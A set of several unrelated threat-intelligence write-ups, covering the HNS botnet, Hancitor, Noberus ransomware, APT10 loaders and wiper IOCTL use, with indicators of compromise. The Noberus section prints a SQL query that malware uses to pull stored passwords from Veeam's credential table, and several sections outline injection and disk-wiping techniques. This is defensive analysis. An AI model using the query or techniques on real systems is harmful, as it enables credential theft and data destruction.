Now, experts have found new HNS versions that have added support not only for two other exploits but also for brute-force operations. What this means is that HNS infected devices will scan for other devices that have an exposed Telnet port and attempt to log into that device using a list of preset credentials. Researchers say that HNS authors have also had time to fine-tune this brute-forcing scheme, as the malware can identify at least two types of devices and attempt to log into those systems using their factory default credentials, instead of blindly guessing passwords.
Furthermore, the HNS codebase also received updates, and the bot now has ten different binaries for ten different device architectures.
Not all HNS bots are boot persistent. But HNS is not capable of gaining boot permission on all infected devices. According to Bitdefender senior e-threat analyst Bogdan Botezatu, "in order to achieve persistence, the infection must take place via Telnet, as root privileges are required to copy the binary to the init.d directory." The security expert also adds that the HNS botnet is still a work-in-progress, and the malware still doesn't support launching DDoS attacks. Nonetheless, the functions to steal data and execute code on infected devices are still there, which means the botnet supports a plugin/module system and could be expanded at any point with any type of malicious code. |
# Malware Analysis Spotlight: Hancitor’s Multi-Step Delivery Process
Hancitor can be grouped into the category of downloaders that are often responsible for delivering further malware families into a compromised network. Recently, it has been observed delivering the Ficker Stealer, Cobalt Strike, and the Cuba ransomware among others. It is usually distributed to the victim via malicious spam campaigns that are intermittent in nature. In this Malware Analysis Spotlight, we will look at Hancitor’s behavior and ability to deliver an information stealer.
## Analysis of Hancitor’s Configurations
If we extract the buildID from Hancitor’s configuration, we are able to notice that Hancitor seems to be distributed in waves. The malspam with a particular build is sent for a period of time, after which there is a pause in the distribution before a new wave of malspam distributes another build. Some of the spam waves produce more unique samples than others, but the overall trend is pointing upwards. Usually, each batch has a unique configuration containing a new buildID and new C&C URLs.
## Hancitor Analysis
The usual execution chain starts with malicious emails containing an embedded Google Docs URL. Those URLs point the user to a domain controlled by the threat actor. There, the victim is prompted to download a document. This dropped document is responsible for extracting and loading a DLL. The method that the malicious document uses to achieve execution is usually a VBA macro that is executed when the document is opened. The initial DLL is an intermediate stage responsible for extracting and running Hancitor.
The VBA macro’s main responsibility is to execute the embedded DLL. The DLL doesn’t require a specific entry point to run, but it’s still invoked with one. The passed entry point isn’t used by this initial DLL, but by the actual Hancitor payload at a later stage of the execution process. For Hancitor to run, it’s necessary to start it by calling one of its exported functions. The name of the function is hard-coded inside the macro code.
The document’s macro is loading the DLL by using the rundll32 utility. By observing the process creation in the VMRay Analyzer, we can also see the passed command line arguments. The called entry point corresponds exactly with one of Hancitor’s exported functions.
The initial DLL is a packer that is responsible for decrypting, decompressing, and loading the Hancitor payload. The compression library used by the packer is aPLib. aPLib became quite popular with malware authors due to its small footprint and relatively good compression and decompression speed. Nonetheless, the smart memory dumping of the VMRay Analyzer includes the memory dumps of each stage which also contain the final uncompressed Hancitor payload.
The DLL itself and the techniques it uses are very similar to the ones previously used by, e.g., Dridex. When it’s finally Hancitor’s turn to take over the execution flow, it first tries to initiate a connection to its C&C server. Usually, each Hancitor binary knows about three C&C URLs which are embedded in its configuration file. It gathers information about the infected host system (adapter addresses and the volume serial number) and uses that to generate a unique ID. It also checks the external IP address and the AD domain, if the host is part of any. It then bundles it all into the initial request to the server. Some of that information is used by the C&C server to deliver a specific payload. For example, in recent Hancitor campaigns, it has been seen delivering Cobalt Strike if the host was part of an AD domain.
The response sent by the server is XORed and base64 encoded. The 1-byte XOR key required to decrypt the data is hard-coded inside the routine responsible for decoding. When the data is decoded, the command is extracted and validated. Then it’s processed and the corresponding action is taken. In this analysis, Hancitor downloads a secondary payload from a server which it receives from its C&C (as part of the response). It then starts svchost.exe and injects it with the downloaded payload. In this particular case, the delivered payload is a stealer.
## Conclusion
Although the capabilities of Hancitor itself didn’t really change over the past years, the combination of a multi-step delivery process and different packers still allows it to avoid detection and deliver further malware families successfully. VMRay Analyzer’s dynamic analysis plays an important role in the detection process and can provide defenders with timely information necessary to protect their networks.
## IOCs
**Initial document SHA256:**
e431a1bb2efcf6000f5bac4e19673d6deb9de7997dba5f65bae7779cd19e5caf
**Hancitor DLL SHA256:**
2E13456113A950EE0FE06975CEC093B2D78F91E75D482428ECFA274EC7D2555
**Extracted Configurations:**
Hancitor configuration in the MWCP schema:
```json
{'key': [b'b27242d151accab3'], 'missionid': ['3011_hjdfsfg'], 'c2_url': ['hxxp://propywast[.]com/8/forum.php', 'hxxp://aribliffored[.]ru/8/forum.php', 'hxxp://...']}
``` |
# Noberus Ransomware: Darkside and BlackMatter Successor Continues to Evolve its Tactics
**Threat Hunter Team, Symantec**
Attackers deploying the Noberus (aka BlackCat, ALPHV) ransomware have been using new tactics, tools, and procedures (TTPs) in recent months, making the threat more dangerous than ever. Among some of the more notable developments has been the use of a new version of the Exmatter data exfiltration tool, and the use of Eamfo, information-stealing malware designed to steal credentials stored by Veeam backup software.
## How does Noberus operate?
Noberus is widely believed to be a successor payload to the Darkside and BlackMatter ransomware families, which were developed by a group Symantec tracks as Coreid (aka FIN7, Carbon Spider). Darkside was used in the Colonial Pipeline ransomware attack in May 2021. The extreme amount of public and law enforcement attention that attack attracted led Coreid to shut down Darkside and replace it with BlackMatter. Coreid runs a ransomware-as-a-service (RaaS) operation, which means it develops the ransomware but it is deployed by affiliates for a cut of the profits. The ransomware being deployed by different affiliates can sometimes explain the different TTPs and attack chains used in Noberus attacks.
Noberus sparked interest when it was first seen in November 2021 because it was coded in Rust, marking the first time a professional ransomware strain was used in real-world attacks coded in that programming language. Rust is notable as it is cross-platform. Coreid claims that Noberus is capable of encrypting files on Windows, EXSI, Debian, ReadyNAS, and Synology operating systems.
Noberus emerged shortly after BlackMatter announced it was being retired. Coreid sets out in the rules of its affiliate program that Noberus cannot be used to attack:
- The Commonwealth of Independent States or neighboring countries
- Organizations in or related to the healthcare sector
- Charitable or non-profit organizations
- Education and government sectors
When announcing Noberus, Coreid underlined features designed to emphasize its superiority to rival ransomware, including that each advert is provided with an entrance through its own unique onion domain; the affiliate program architecturally excludes all possible connections with forums; even if a full-fledged command line shell is obtained, the attacker will not be able to reveal the real IP address of the server, and encrypted negotiation chats can only be accessed by the intended victim.
The ransomware also offered two encryption algorithms (ChaCha20 and AES), as well as four encryption modes - Full, Fast, DotPattern, and SmartPattern. Full is the most secure but also the slowest mode. SmartPattern offers encryption of “N” megabytes in percentage increments. By default, it encrypts with a strip of 10 megabytes every 10 percent of the file starting from the header, which would be an optimal mode for attackers in terms of speed and cryptographic strength. Sentinel Labs recently published a report referring to this kind of encryption as “intermittent encryption” and mentioned how it had been adopted by certain ransomware operators, including Noberus, Black Basta, and more.
The percentage of each ransom that is paid to Noberus affiliates varies depending on the ransom amount. Coreid has continuously updated Noberus since its launch in November 2021 to make its operation more efficient. They will also cull affiliates if they are not bringing in enough money, encouraging them to “contact less professional teams.” In December 2021, the ransomware added a new “Plus” role for affiliates that had brought in more than $1.5 million. It gave access to:
- DDoS - used to target domains with DDoS attacks
- Calls - adding a field to indicate the phone numbers of the victim or add a contact number for the affiliate to communicate directly with victims if they wish
- Brute - making it possible to brute force NTDS, Kerberos tickets, and other hashes for free
Coreid made a major update to Noberus in June 2022, which included:
- Introducing an ARM build for encryption of non-standard architectures
- Introducing SAFEMODE - Added encryption functionality to the Windows build via rebooting into safe mode (--safeboot) and safe mode with networking (--safeboot-network)
Coreid also made updates to the locker, adding new restart logic, and simplifying the Linux encryption process. In a July 2022 update, the team added indexing of stolen data, meaning its data leaks websites can be searched by keyword, file type, and more.
The continuous updating and refining of Noberus’ operations shows that Coreid is constantly adapting its ransomware operation to ensure it remains as effective as possible. The FBI issued a warning in April 2022 saying that between November 2021 and March 2022 at least 60 organizations worldwide had been compromised with the Noberus ransomware - the number of victims now is likely to be many multiples of that.
## Noberus and Exmatter: New version of data exfiltration tool used in ransomware attacks
In August 2022, a heavily updated version of the Exmatter (Trojan.Exmatter) data exfiltration tool was observed being used alongside Noberus in ransomware attacks. Exmatter was discovered by Symantec researchers in November 2021 being used alongside the BlackMatter ransomware. It was designed to steal specific file types from a number of selected directories and upload them to an attacker-controlled server prior to the deployment of the ransomware itself on the victim’s network. Even at the time of its discovery, various variants of the tool were seen, as its developers continued to refine it to optimize its operation and expedite exfiltration of a sufficient volume of high-value data in as short a time as possible.
This latest version of Exmatter has reduced the number of file types it attempts to exfiltrate. It will now exfiltrate files with the following extensions only:
- .pdf, .doc, .docx, .xls, .xlsx, .png, .jpg, .jpeg, .txt, .bmp, .rdp, .sql, .msg, .pst, .zip, .rtf, .ipt, .dwg
Other new features include:
- Addition of third exfiltration capability (FTP) to SFTP and WebDav, which were present in older versions.
- Reports: Ability to build a report listing all processed files.
- Eraser: Can corrupt processed files (not turned on in version analyzed).
- Self-destruct: Configuration option, which, when enabled, will make the tool self-destruct and quit if executed in a non-corporate environment (outside of a Windows domain).
- Socks5: Socks5 support was removed.
- In at least one attack, the tool was deployed via GPO.
In addition to this, the malware was extensively rewritten, and even existing features were implemented differently. This was possibly a bid to avoid detection. Whether Exmatter is the creation of Coreid or a skilled affiliate of the group is not clear, but its use alongside two different iterations of Coreid’s ransomware is notable. Its continuous development also underlines the focus of the group on data theft and extortion, and the importance of this element of attacks to ransomware actors now.
## Noberus and Eamfo: Attackers using malware to steal credentials from Veeam
At least one affiliate of the Noberus ransomware operation was spotted in late August using information-stealing malware designed to steal credentials stored by Veeam backup software. Veeam is capable of storing credentials for a wide range of systems, including domain controllers and cloud services. The credentials are stored to facilitate the backup of these systems. The malware (Infostealer.Eamfo) is designed to connect to the SQL database where Veeam stores credentials, and it steals credentials with the following SQL query:
```
select [user_name],[password],[description] FROM [VeeamBackup].[dbo].[Credentials]
```
Eamfo will then decrypt and display the credentials.
Eamfo appears to have been in existence since at least August 2021 and there is evidence that it has previously been used by attackers using the Yanluowang and LockBit ransomware families. A recent report from BlackBerry also detailed Eamfo being used alongside a new ransomware strain it dubbed Monti, which appears to be based on the leaked source code of the Conti ransomware. The TTPs used in Monti attacks also closely resemble former Conti attack chains, suggesting those behind Monti may be former affiliates of that group. Conti was developed by a group Symantec tracks as Miner.
Stealing credentials from Veeam is a known attack technique that can facilitate privilege escalation and lateral movement, providing the attackers with access to more data they can potentially exfiltrate and more machines to encrypt. Noberus attacks involving Eamfo seen by Symantec also utilized GMER, a relatively old rootkit scanner that can be leveraged by ransomware actors to kill processes. GMER usage by ransomware attackers appears to have become more frequent in recent months, and it was also seen in the Monti attack detailed by BlackBerry.
## Conclusion
There’s no doubt that Coreid is one of the most dangerous and active ransomware developers operating at the moment. The group has been around since 2012 and became well-known for using its Carbanak malware to steal money from organizations worldwide, with the banking, hospitality, and retail sectors among its preferred targets. Three members of the group were arrested in 2018, and in 2020 the group changed its tactics and launched its ransomware-as-a-service operation. Its continuous development of its ransomware and its affiliate programs indicates that this sophisticated and well-resourced attacker has little intention of going anywhere anytime soon.
## Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
## Indicators of Compromise
**File hashes (SHA256)**
- ad5002c8a4621efbd354d58a71427c157e4b2805cb86f434d724fc77068f1c40 – Trojan.Exmatter
- 8c5b108eab6a397bed4c099f13eed52aeeec37cc214423bde07544b44a62e74a – Ransom.Noberus
- 78517fb07ee5292da627c234b26b555413a459f8d7a9641e4a9fcc1099f06a3d – Infostealer.Eamfo
- 9aa1f37517458d635eae4f9b43cb4770880ea0ee171e7e4ad155bbdee0cbe732 – Infostealer.Eamfo
- df492b4cc7f644ad3e795155926d1fc8ece7327c0c5c8ea45561f24f5110ce54 – Infostealer.Eamfo
- 029dde7c2ec880fb3d3e95e6a8376739b4bc46a0ce24012e064b904e6ecb672c – Ransom.Noberus
- 72f0981f18b969db2781e874d249d8003c07f99786e217f84cf54a148de259cc – Ransom.Noberus
- 18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7 – GMER Driver
- e8a3e804a96c716a3e9b69195db6ffb0d33e2433af871e4d4e1eab3097237173 – GMER
- ed6275195cf9fd758fb7f8bce868c14dc9e9d6b7aa6f472f714bce5ed7fabf7f – Masqueraded PAExec
- 5799d554307906e92749a0c45f21baff28d83b1cedccbf7cb6f2b98ac1b00930 – Masqueraded PAExec
**File Names**
- sync_enc.exe
- without_cert.exe
- vup.exe
- morph.exe
- locker.exe
- isgmer.exe
- kgeyauow.sys
## About the Author
**Threat Hunter Team, Symantec**
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. |
# Uncovering New Activity By APT10
## Article Summary
In April 2019, enSilo detected what it believes to be new activity by Chinese cyber espionage group APT10. The variants discovered by enSilo are previously unknown and deploy malware that is unique to the threat actor. These malware families have a rich history of being used in many targeted attacks against government and private organizations. The activity surfaced in Southeast Asia, a region where APT10 frequently operates.
## Overview
Towards the end of April 2019, we tracked down what we believe to be new activity by APT10, a Chinese cyber espionage group. Both of the loader’s variants and their various payloads that we analyzed share similar Tactics, Techniques, and Procedures (TTPs) and code associated with APT10. Although they deliver different payloads to the victim's machine, both variants drop the following files beforehand:
- jjs.exe - legitimate executable
- jli.dll - malicious DLL
- msvcrt100.dll - legitimate Microsoft C Runtime DLL
- svchost.bin - binary file
jjs.exe is a JVM-based implementation of a JavaScript engine developed by Oracle, but in this case, it served as a loader for the malware. Among the payloads we found are PlugX and Quasar RATs. The former is well known to be developed in-house by the group with a rich history of being used in many targeted attacks against different government and private organizations. PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption, network enumeration, file interaction, remote shell operations, and more. The samples we analyzed originated from the Philippines. APT10 frequently targets the Southeast Asia region. In this article, we examine both versions of the loader along with their payloads, TTPs, and Command and Control (C&C) server information.
## Loader
### Abusing a Legitimate Executable
The loader starts out by running a legitimate executable which is abused to load a malicious DLL instead of a legitimate one which it is depended on. The method is known as DLL Side-Loading. In both variants, the abused executable is jjs.exe which loads jli.dll. The DLL exports the following functions:
- JLI_CmdToArgs
- JLI_GetStdArgs
- JLI_GetStdArgc
- JLI_MemAlloc
- JLI_Launch
The first function called by jjs.exe is JLI_CmdToArgs which is implemented by the malware author and behaves differently in each variant.
### Running The Payload
The malicious DLL maps the data file, svchost.bin, to memory and decrypts it. The decrypted content is a shellcode that is injected into svchost.exe and contains the actual malicious payload. The decryption process resembles previous versions used by the group in PlugX/RedLeaves.
The injection flow is rather simple and is done by creating a process in a suspended state, allocating memory with VirtualAllocEx, writing the shellcode with WriteProcessMemory, and running it using CreateRemoteThread.
## Variant 1
The first variant uses a service as its persistency method. It installs itself (jjs.exe) as the service and starts it. When running in the context of the service, it performs the decryption and injection as described above. We have observed the variant delivering both Quasar and PlugX, which we’ll discuss later on. Among the different samples we tested, we encountered the following service names being registered:
- WxUpdateServiceInfo
- HxUpdateServiceInfo
- WinDefendSec
- Web_Client
- clr_optimization_v4.0.30319_31
- clr_optimization_v4.0.30319_37
## Variant 2
Unlike the first variant, this variant uses the Run registry key for the current user under the name “Windows Updata” to ensure its persistency rather than installing a service. This variant delivered the same PlugX DLL, same as the first loader.
## Payloads
### Modified Quasar RAT
The injected shellcode reflectively loads in-memory an executable it reconstructs from data which is bundled with it. The reflective load code is obfuscated, as function calls are made by dynamically resolving their addresses according to hashed values. The executable tries to run conhost.exe from C:\Users\Public\Documents and in case it doesn’t exist, it turns to ffca[.]caibi379[.]com to download it. The code that sends the HTTP request seems to be buggy. While wininet!InternetOpenW (the unicode version of the function) is used, an ASCII value is provided as the User-Agent, so instead of “RookIE/1.0” the request headers will include inconsistent and meaningless values.
In our analysis, the conhost.exe that was downloaded is itself another downloader written in .NET and disguised as a legitimate system executable. This extremely simplified downloader contains only the capability of downloading and executing a base-64 encoded executable from the hardcoded address using a simple System.Net.WebClient HTTP request: ffca[.]caibi379[.]com/rwjh/qtinfo.txt. The downloaded payload is a modified Quasar RAT. This version contains an addition of SharpSploit to extract passwords from the victim machine using the framework’s built-in mimikatz capabilities.
Examining the sample’s configuration, we found the following:
- C&C server: cahe.microsofts.org:443
- Mutex name: “QSR_MUTEX_rSifQNOVTwHrsBs2nd”
- A self-signed certificate issued to “MSGQ Server CA”
### PlugX
Following the injection to svchost.exe by the loader, the shellcode decrypts another part of itself and uses RtlDecompressBuffer API to further unpack the PlugX DLL. The DOS and NT headers magic values, MZ and PE respectively, were replaced with VX, a typical behavior for PlugX payloads. This is meant to prevent security products and automated tools from identifying the executable headers when performing memory scans. Like previous versions of PlugX, it collects information about the infected machine such as the computer name, username, OS version, RAM usage, network interfaces, and resources.
In an attempt to generate noise around allocation and release of memory by the malware, the authors wrapped it with dummy calls to GetForegroundWindow API function. This sample shares some similarities to the Paranoid PlugX variant. It goes a long way to completely remove any sign of McAfee’s email proxy service from the infected machine. Besides killing the process, it also makes sure to delete any related keys in the registry and recursively deletes any related files and directories on the machine. The same behavior was observed in the paranoid variant as part of a VBScript the dropper runs.
Typically, APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain. In the configuration bundled to the samples, we found the following:
- The sample in the first loader communicates with update[.]microsofts[.]org with DNS over TCP.
- The sample in the second loader communicates with update[.]kaspresksy[.]com over HTTPS.
## Threat Intelligence
When examining the first loader variant’s domain (ffca[.]caibi379[.]com), we discovered that it resolved to the following IP addresses according to VirusTotal:
| Date Resolved | IP |
|---------------|------------------|
| 2019-04-24 | 27.102.128.157 |
| 2019-03-23 | 27.102.127.80 |
| 2019-01-30 | 27.102.127.75 |
While all the IP address ranges are listed under “DAOU TECHNOLOGY” in South Korea and the domain itself was registered in Hong Kong. Reverse lookup on the IP addresses shows that some of them used to be resolved from another domain - *[.]microsofts[.]org. As mentioned before, cahe.microsofts.org is the command and control server for the Quasar payload and update.microsofts.org for the PlugX payload delivered by the first loader variant.
The PlugX’s domains resolve to the following addresses:
| Date Resolved | IP |
|---------------|------------------|
| 2019-04-27 | 27.102.66.67 |
| 2019-02-19 | 27.102.115.249 |
| 2019-03-15 | 27.102.127.80 |
While looking at the other subdomains of kaspresksy[.]com, we discovered that:
- download[.]kaspresksy[.]com resolves to 27.102.113.118
- api[.]kaspresksy[.]com resolves to 27.102.114.246
27.102.114.246 used to previously resolve from the following domains:
- smsapi[.]tencentchat[.]net
- onedrive[.]miscrosofts[.]com
We noticed a password protected zip named “Chrome_Updata” being associated with the download[.]kaspresksy[.]com domain. The zip contained a sample of the Poison Ivy malware which is also known to be used by APT10. The same executable was also seen communicating with 27.102.115.249, which also appeared to be mapped to update[.]kaspresksy[.]com. All of the overlaps in the network infrastructure make it very reasonable to assume that the same group is operating the two variants.
## Conclusion
Both variants of the loader implement the same decryption and injection mechanism. Looking at the history of APT10, one can notice major similarities in the details we brought in this post:
- Bundle of legitimate executable to sideload a custom DLL along with storing the payload in a separate, encrypted file.
- Use of typosquatting domain names similar to real, legitimate tech companies.
- Unique malware families both developed by, and associated with, the group.
- Using C&C servers located in South Korea.
Some of the mentioned domain mappings were recently updated. Also, the certificate embedded in the Quasar sample was issued on 22.12.2018, which correlates with the file’s compilation date. This can indicate that these samples may be a part of a testing environment or a short-lived attack that is already finished. Either way, it’s safe to say that the threat actor behind APT10 is still active and we have yet to see the last of the group.
## IOCs
**Loader v1:**
- 41542d11abf5bf4a18332e9c4f2c8d1eb5c7e5d4298749b610d86caaa1acb62c (conhost.exe downloader jli.dll)
- 29b0454db88b634656a3fc7c36f318b126a83ae8fb7f73fe9ff349a8f8536c7b (conhost.exe downloader svchost.bin)
- 02b95ef7a33a87cc2b3b6fd47db03e711045974e1ecf631d3ba9e076e1e374e9 (PlugX jli.dll)
- e0f91da52fdc61757f6a3f276ae77b01d2d1cc4b3743629c5acbd0341e5de80e (PlugX svchost.bin)
**Loader v2:**
- f13536685206a94a8d3938266f100bb2dffa740a202283c7ea35c58e6dbbb839 (PlugX jli.dll)
- c8d86e9f486d23285b744279812ef9047a0908e39656c2ea4cdf3e182f80e11d (PlugX svchost.bin)
**.NET Downloader (conhost.exe):**
- 96649c5428c874f2228c77c96526ff3f472bc2425476ad1d882a8b55faa40bf5
**Quasar RAT:**
- 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded
**Domains:**
- update[.]kaspresksy[.]com
- download[.]kaspresksy[.]com
- api[.]kaspresksy[.]com
- ffca[.]caibi379[.]com
- update[.]microsofts[.]org
- ppit[.]microsofts[.]org
- cahe[.]microsofts[.]org
**IP Addresses:**
- 27.102.128.157
- 27.102.127.80
- 27.102.127.75
- 27.102.66.67
- 27.102.115.249 |
# The Anatomy of Wiper Malware, Part 3: Input/Output Controls
**Ioan Iacob - Iulian Madalin Ionita**
September 26, 2022
In Part 1 of this four-part blog series examining wiper malware, the CrowdStrike Endpoint Protection Content Research Team introduced the topic of wipers, reviewed their recent history, and presented common adversary techniques that leverage wipers to destroy system data. In Part 2, the team dove into third-party drivers and how they may be used to destroy system data. In Part 3, we cover various input/output controls (IOCTLs) in more detail and how they are used to achieve different goals — including acquiring information about infected machines and locking/unlocking disk volumes, among others.
## Input/Output Control (IOCTL) Primer
Throughout our analysis, we encountered different uses of IOCTLs across samples. These are used to obtain information about volumes or disks, as well as to achieve other functionalities like locking, unlocking, unmounting a volume, fragmentation of data on disk, and others.
The analyzed samples use the following IOCTLs:
| IOCTLs | IOCTL Constant Name | Used By |
|-------------------|------------------------------------------------------------------|---------|
| 0x00070000 | IOCTL_DISK_GET_DRIVE_GEOMETRY | Petya wiper variant, Dustman and ZeroCleare |
| 0x000700A0 | IOCTL_DISK_GET_DRIVE_GEOMETRY_EX | DriveSlayer, Dustman and ZeroCleare, IsaacWiper |
| 0x00070048 | IOCTL_DISK_GET_PARTITION_INFO_EX | Shamoon 2, Petya wiper variant |
| 0x00070050 | IOCTL_DISK_GET_DRIVE_LAYOUT_EX | DriveSlayer |
| 0x0007405C | IOCTL_DISK_GET_LENGTH_INFO | StoneDrill, Dustman and ZeroCleare |
| 0x0007C054 | IOCTL_DISK_SET_DRIVE_LAYOUT_EX | CaddyWiper |
| 0x0007C100 | IOCTL_DISK_DELETE_DRIVE_LAYOUT | SQLShred |
| 0x00090018 | FSCTL_LOCK_VOLUME | DriveSlayer, StoneDrill, IsaacWiper |
| 0x0009001C | FSCTL_UNLOCK_VOLUME | IsaacWiper |
| 0x00090020 | FSCTL_DISMOUNT_VOLUME | DriveSlayer, Petya wiper variant, StoneDrill |
| 0x00090064 | FSCTL_GET_NTFS_VOLUME_DATA | DriveSlayer |
| 0x00090068 | FSCTL_GET_NTFS_FILE_RECORD | DriveSlayer |
| 0x0009006F | FSCTL_GET_VOLUME_BITMAP | DriveSlayer |
| 0x00090073 | FSCTL_GET_RETRIEVAL_POINTERS | DriveSlayer, Shamoon 2 |
| 0x00090074 | FSCTL_MOVE_FILE | DriveSlayer |
| 0x000900A8 | FSCTL_GET_REPARSE_POINT | SQLShred |
| 0x000980C8 | FCSTL_SET_ZERO_DATA | DoubleZero |
| 0x002D1080 | IOCTL_STORAGE_GET_DEVICE_NUMBER | DriveSlayer, IsaacWiper |
| 0x00560000 | IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS | DriveSlayer, Petya wiper variant, SQLShred, Dustman and ZeroCleare |
While the majority of the wiper families use a few IOCTLs, DriveSlayer makes use of an extensive list of IOCTLs to achieve its goals. Some IO control codes are used to acquire information about the disks of the infected machine like NTFS partition tables, move files, fingerprint the drive, etc.
### Acquiring Information
In the example below, DriveSlayer is using the IOCTL_DISK_GET_DRIVE_LAYOUT_EX and IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTLs to obtain information about the partitions and geometry of a drive. This helps the wiper to determine the location of the MFTs and MBRs in order for them to be scheduled for wiping. Similar implementations can be found using the other IOCTLs in IsaacWiper, Petya wiper variant, Dustman, or ZeroCleare.
DriveSlayer also uses IOCTL_STORAGE_GET_DEVICE_NUMBER to grab information such as partition number and device type, which is later used in the wiper process.
### Volume Unmounting
The FSCTL_LOCK_VOLUME and FSCTL_DISMOUNT_VOLUME IOCTLs are used by DriveSlayer to lock and unmount a disk volume after the wiping routine has finished. In order to do so, DriveSlayer grabs a list of all the drive letters via GetLogicalDriveStrings, iterates through all of them, acquires a handle to each volume, and sends two IOCTLs via DeviceIoControl API. A similar implementation is done by the Petya wiper variant and StoneDrill as well.
The usage of FSCTL_LOCK_VOLUME and FSCTL_DISMOUNT_VOLUME IO control codes can be seen in the following function call.
### Destroying All Disk Contents
Besides the common approach of overwriting the MBR, SQLShred also calls the DeviceIoControl API with the IOCTL_DISK_DELETE_DRIVE_LAYOUT IO Control Code in order to make sure the disk is formatted from sector 0x00.
### Overwriting Disk Clusters
The FSCTL_GET_VOLUME_BITMAP IOCTL is used by DriveSlayer to acquire a bitmap representation of the occupied clusters of a disk volume. The bitmap representation is returned as a data structure that describes the allocation state of each cluster in the file system, where positive bits indicate if the cluster is in use. DriveSlayer will use this bitmap to overwrite occupied clusters with randomly generated data.
### Data Fragmentation
DriveSlayer uses two IOCTLs to fragment the data on disk, thus making file recovery harder. In order to fragment the data, the wiper determines the location on disk of individual files by requesting cluster information via the FSCTL_GET_RETRIEVAL_POINTERS IOCTL. The wiper continues by relocating virtual clusters using the FSCTL_MOVE_FILE IOCTL.
### File Type Determination
When getting information about files, besides GetFileAttributesW API, SQLShred wiper is also using the FSCTL_GET_REPARSE_POINT IOCTL to retrieve the reparse point data associated with the file or directory. In this case, the wiper is using it to check if the file is a symlink or the directory represents a mount point.
### File Iteration
Wipers like DriveSlayer will attempt to determine existing files by parsing the MFT rather than walking the directories and files recursively. The FSCTL_GET_NTFS_VOLUME_DATA IOCTL is used to obtain information about the specified NTFS volume, like volume serial number, number of sectors and clusters, free as well as reversed clusters, and even the location of the MFT and its size. All of this information is part of the NTFS_VOLUME_DATA_BUFFER structure that is sent as an argument to the DeviceIoControl API. Malware uses this IOCTL to determine the location of the MFT and MFT-mirror in order to delete both of them by overwriting the raw sectors.
The FSCTL_GET_NTFS_FILE_RECORD IOCTL is used to enumerate files from an NTFS formatted drive. The information is returned inside the NTFS_FILE_RECORD_OUTPUT_BUFFER structure that is sent as an argument to the DeviceIoControl API. Wipers like DriveSlayer use this IOCTL in order to determine the raw sectors associated with files and queue them for the wiping routine.
## How the CrowdStrike Falcon Platform Offers Continuous Monitoring and Visibility
The CrowdStrike Falcon® platform takes a layered approach to protect workloads. Using on-sensor and cloud-based machine learning, behavior-based detection using indicators of attack (IOAs), and intelligence related to tactics, techniques, and procedures (TTPs) employed by threat actors, the Falcon platform equips users with visibility, threat detection, automated protection, and continuous monitoring for any environment, reducing the time to detect and mitigate threats.
## Summary
Wipers frequently use various IOCTL codes in order to enrich their capabilities. Input/Output control codes can be used for various types of operations; they can help to enumerate files, locate the Master File Table (MFT), determine the location of files on the raw disk, unmount drivers, fragment files, etc. These codes can be sent directly to the volume or drive itself, and even to the third-party drivers that we discussed in part 2.
In the next and final part of the wiper blog series, we will cover some less frequent techniques seen in wiper malware. The techniques are used to augment the existing destructive capabilities described so far and were seen in some particular wiper families.
## Hashes
**Wiper name** | **SHA256 hash value**
--------------------------|---------------------------------------------------
Apostle | 6fb07a9855edc862e59145aed973de9d459a6f45f17a8e779b95d4c55502dcce
| 19dbed996b1a814658bef433bad62b03e5c59c2bf2351b793d1a5d4a5216d27e
CaddyWiper | a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea
Destover | e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a
DoubleZero | 3b2e708eaa4744c76a633391cf2c983f4a098b46436525619e5ea44e105355fe
| 30b3cbe8817ed75d8221059e4be35d5624bd6b5dc921d4991a7adc4c3eb5de4a
DriveSlayer | 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da
| 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591
| a259e9b0acf375a8bef8dbc27a8a1996ee02a56889cba07ef58c49185ab033ec
Dustman | f07b0c79a8c88a5760847226af277cf34ab5508394a58820db4db5a8d0340fc7
IsaacWiper | 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033
| 7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0
IsraBye | 5a209e40e0659b40d3d20899c00757fa33dc00ddcac38a3c8df004ab9051de0d
KillDisk | 8a81a1d0fae933862b51f63064069aa5af3854763f5edc29c997964de5e284e5
| 1a09b182c63207aa6988b064ec0ee811c173724c33cf6dfe36437427a5c23446
Meteor and Comet/Stardust | 2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b
| d71cc6337efb5cbbb400d57c8fdeb48d7af12a292fa87a55e8705d18b09f516e
| 6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4
| 9b0f724459637cec5e9576c8332bca16abda6ac3fbbde6f7956bc3a97a423473
Ordinypt | 085256b114079911b64f5826165f85a28a2a4ddc2ce0d935fa8545651ce5ab09
Petya | 0f732bc1ed57a052fecd19ad98428eb8cc42e6a53af86d465b004994342a2366
| fd67136d8138fb71c8e9677f75e8b02f6734d72f66b065fc609ae2b3180a1cbf
| 4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c
Shamoon | e2ecec43da974db02f624ecadc94baf1d21fd1a5c4990c15863bb9929f781a0a
| c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a
| 7dad0b3b3b7dd72490d3f56f0a0b1403844bb05ce2499ef98a28684fbccc07b4
| 8e9681d9dbfb4c564c44e3315c8efb7f7d6919aa28fcf967750a03875e216c79
| f9d94c5de86aa170384f1e2e71d95ec373536899cb7985633d3ecfdb67af0f72
| 4f02a9fcd2deb3936ede8ff009bd08662bdb1f365c0f4a78b3757a98c2f40400
SQLShred/Agrius | 18c92f23b646eb85d67a890296000212091f930b1fe9e92033f123be3581a90f
